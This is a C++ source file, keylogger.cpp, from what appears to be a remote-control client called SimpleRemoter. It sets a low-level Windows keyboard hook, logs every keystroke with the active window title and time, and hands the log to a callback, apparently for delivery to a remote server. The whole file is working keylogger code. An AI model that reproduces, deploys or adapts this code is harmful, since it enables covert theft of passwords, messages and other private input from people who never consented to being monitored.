Files
SimpleRemoter/client/keylogger.cpp

212 lines
6.7 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#include "keylogger.h"
#include <cstring>
#include <cstdio>
#include <time.h>
#include <fstream>
#include <sstream>
#include <map>
#include <string>
#if USING_KB_HOOK
// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
// 2024/02/07 source code last modified
// 2025/02/24 this file last modified
//////////////////////////////////////////////////////////////////////////
// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)
// Defines whether you want to enable or disable
// boot time waiting if running at system boot.
#define bootwait // (bootwait / nowait)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// defines if ignore mouseclicks
#define mouseignore
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
#if FORMAT == 0
const std::map<int, std::string> keyname {
{VK_BACK, "[BACKSPACE]" },
{VK_RETURN, "\n" },
{VK_SPACE, "_" },
{VK_TAB, "[TAB]" },
{VK_SHIFT, "[SHIFT]" },
{VK_LSHIFT, "[LSHIFT]" },
{VK_RSHIFT, "[RSHIFT]" },
{VK_CONTROL, "[CONTROL]" },
{VK_LCONTROL, "[LCONTROL]" },
{VK_RCONTROL, "[RCONTROL]" },
{VK_MENU, "[ALT]" },
{VK_LWIN, "[LWIN]" },
{VK_RWIN, "[RWIN]" },
{VK_ESCAPE, "[ESCAPE]" },
{VK_END, "[END]" },
{VK_HOME, "[HOME]" },
{VK_LEFT, "[LEFT]" },
{VK_RIGHT, "[RIGHT]" },
{VK_UP, "[UP]" },
{VK_DOWN, "[DOWN]" },
{VK_PRIOR, "[PG_UP]" },
{VK_NEXT, "[PG_DOWN]" },
{VK_OEM_PERIOD, "." },
{VK_DECIMAL, "." },
{VK_OEM_PLUS, "+" },
{VK_OEM_MINUS, "-" },
{VK_ADD, "+" },
{VK_SUBTRACT, "-" },
{VK_CAPITAL, "[CAPSLOCK]" },
};
#endif
// A callback function for processing record by user.
typedef int (CALLBACK* Callback)(const char* record, void* user);
// Global variables.
HHOOK _hook = NULL;
Callback _cllback = NULL;
void* _user = NULL;
// Save parse keyboard information and use callback to process record.
int Save(int key_stroke)
{
std::stringstream output;
static char lastwindow[MAX_PATH] = {};
#ifndef mouseignore
if ((key_stroke == 1) || (key_stroke == 2)) {
return 0; // ignore mouse clicks
}
#endif
HWND foreground = GetForegroundWindow();
HKL layout = NULL;
if (foreground) {
// get keyboard layout of the thread
GET_PROCESS_EASY(GetWindowThreadProcessId);
DWORD threadID = GetWindowThreadProcessId(foreground, NULL);
GET_PROCESS_EASY(GetKeyboardLayout);
layout = GetKeyboardLayout(threadID);
}
if (foreground) {
// 用 W 接口取标题再转 UTF-8避免依赖客户端系统 ANSI 代码页:
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP中文机=GBK
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextW);
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
window_title, MAX_PATH, NULL, NULL);
}
if (strcmp(window_title, lastwindow) != 0) {
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
// get time
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
s.wHour, s.wMinute, s.wSecond);
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
}
}
#if FORMAT == 10
output << '[' << key_stroke << ']';
#elif FORMAT == 16
output << std::hex << "[" << key_stroke << ']';
#else
if (keyname.find(key_stroke) != keyname.end()) {
output << keyname.at(key_stroke);
} else {
GET_PROCESS_EASY(GetKeyState);
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
lowercase = !lowercase;
}
// map virtual key according to keyboard layout
GET_PROCESS_EASY(MapVirtualKeyExA);
char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
// tolower converts it to lowercase properly
if (!lowercase) {
key = tolower(key);
}
output << char(key);
}
#endif
// instead of opening and closing file handlers every time, keep file open and flush.
if (NULL != _cllback) {
_cllback(output.str().c_str(), _user);
}
return 0;
}
// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0) {
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN) {
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
// save to file
Save(kbdStruct.vkCode);
}
}
// call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops
GET_PROCESS_EASY(CallNextHookEx);
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
// Set the hook and set it to use the callback function provided.
bool SetHook(Callback callback, void* user)
{
if (NULL != _hook)
return true;
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
GET_PROCESS_EASY(SetWindowsHookExA);
if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0))) {
_cllback = callback;
_user = user;
return true;
}
return false;
}
// Release the hook.
void ReleaseHook()
{
if (NULL != _hook) {
GET_PROCESS_EASY(UnhookWindowsHookEx);
UnhookWindowsHookEx(_hook);
_hook = NULL;
_cllback = NULL;
_user = NULL;
}
}
#endif